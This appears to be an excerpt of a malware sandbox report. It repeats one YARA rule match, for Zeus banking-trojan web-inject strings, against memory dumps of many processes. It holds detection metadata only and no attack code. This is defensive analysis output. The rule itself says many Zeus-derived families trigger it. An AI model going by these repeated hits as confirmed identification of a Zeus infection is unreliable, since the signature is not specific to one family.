    Source: 00000001.00000003.2198552223.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2204859689.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000006.00000002.2287019898.0000000000AB0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2198240190.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2086777049.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000010.00000002.2093912488.00000000010A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2203265962.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2189144931.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2204400757.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000000D.00000002.2302334442.00000000022C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2198028045.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2131653649.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000006.00000002.2287686891.0000000000B10000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2205934385.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000023.00000002.2179835076.0000000002870000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000000D.00000002.2302184126.0000000002260000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2204203974.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2192466497.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000009.00000002.2305463692.00000000026A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2180206209.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2199111278.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000010.00000002.2093710792.0000000001040000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000001B.00000002.2139365340.0000000001470000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2195480127.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2199319017.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2205455132.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 0000001D.00000002.2151912439.0000000003160000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000025.00000002.2197019654.0000000003080000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2206763165.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2196471946.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000021.00000002.2175595009.00000000022D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000027.00000002.2195084905.0000000002580000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2190528713.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2202379688.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2042430310.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000009.00000002.2304128212.00000000023F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2171131947.000000000F2C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2030438405.0000000002700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
    Source: 00000001.00000003.2199706571.000000000D200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
